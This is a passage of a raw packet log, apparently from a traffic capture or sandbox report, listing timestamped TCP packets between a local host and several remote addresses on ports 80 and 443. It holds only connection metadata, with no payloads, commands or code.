Oct 30, 2024 11:45:39.542871952 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.542907000 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.543325901 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.543332100 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.546814919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.546861887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.546963930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.546978951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.546997070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547003031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547015905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547015905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547039032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547039032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547049046 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547055960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547072887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547077894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547089100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547089100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547112942 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547127008 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547255993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547271967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547296047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547297001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547307014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547326088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547343016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547364950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547364950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547408104 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547661066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547709942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547725916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547750950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547754049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547766924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547782898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547792912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547802925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547828913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547858000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547873974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547888994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.547900915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547913074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.547925949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.548567057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.548593044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.548608065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.548623085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.548635006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.548660040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.611391068 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.611417055 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.611485958 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.611493111 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.611525059 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.612545013 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.612561941 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.630187035 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.630361080 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.630553961 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.630578995 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.630597115 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.630605936 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.630610943 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.631752968 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.632317066 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.632347107 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.632802963 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.632810116 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.633912086 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.633934975 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.634032965 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.634337902 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.634352922 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.634514093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.634541988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.634557009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.634603024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.634603024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.638237953 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.638571978 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.638593912 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.639051914 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.639056921 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.662144899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662208080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662224054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662240028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662260056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662301064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662384987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662440062 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662477970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662498951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662540913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662609100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662625074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662642002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662653923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662659883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662664890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662684917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662695885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.662895918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.662962914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663050890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663064957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663086891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663100958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663131952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663131952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663157940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663172960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663192034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663197994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663208961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663211107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663230896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663243055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663244963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663256884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663275957 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663295031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663842916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663886070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663899899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663902044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663924932 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663939953 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.663964033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663980961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.663995981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.664012909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.664020061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.664028883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.664042950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.664071083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.684101105 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.684282064 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.684386969 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.686927080 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.686944008 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.686954021 CET	49924	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.686959028 CET	443	49924	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.689749956 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.689774036 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.690026999 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.690226078 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.690231085 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.750073910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.750109911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.750125885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.750133991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.750157118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.750165939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.772339106 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.772396088 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.772453070 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.773061037 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.773075104 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.773092031 CET	49925	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.773097038 CET	443	49925	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.776849985 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.776899099 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.777034044 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.777185917 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.777214050 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.777570009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777596951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777612925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777631998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.777664900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.777687073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777731895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.777769089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777784109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777829885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.777909994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.777957916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778014898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778036118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778064966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778095961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778121948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778136969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778183937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778183937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778296947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778312922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778327942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778342962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778393030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778393030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778440952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778456926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778474092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778491020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778507948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778517962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778525114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778551102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778551102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778572083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778754950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778770924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778788090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.778820038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.778851032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.779169083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.779220104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.779228926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.779237986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.779256105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.779263973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.779273033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.779293060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.779293060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.779342890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.780064106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.780077934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.780093908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.780134916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.780170918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.780417919 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.780446053 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.780489922 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.780502081 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.780514002 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.780558109 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.781744003 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.781754017 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.781764030 CET	49926	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.781769037 CET	443	49926	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.785986900 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.786010981 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.786134005 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.786256075 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.786267996 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.862004042 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.862267017 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.862279892 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.863293886 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.863344908 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.863744974 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.863804102 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.866069078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.866126060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.866139889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.866184950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.866226912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.869505882 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.869760990 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.869769096 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.870244980 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.870659113 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.870762110 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.892983913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893011093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893026114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893034935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893074036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893074036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893127918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893151045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893167973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893191099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893220901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893277884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893295050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893312931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893316984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893330097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893330097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893347025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893348932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893373966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893383980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893755913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893780947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893796921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893804073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893815041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893822908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893835068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.893836021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893853903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.893871069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894036055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894077063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894118071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894133091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894176960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894188881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894192934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894212008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894216061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894257069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894501925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894517899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894542933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894557953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894560099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894577980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894579887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894594908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894608021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894615889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894617081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894630909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.894638062 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894649029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.894668102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.895067930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.895085096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.895101070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.895117998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.895136118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.895143032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.907428980 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.907440901 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.922544003 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.954013109 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.981533051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.981549978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.981565952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.981595993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.981640100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.008908033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.008996010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009000063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009030104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009056091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009072065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009088993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.009094000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.009105921 CET	80	49888	185.215.113.206	192.168.2.6
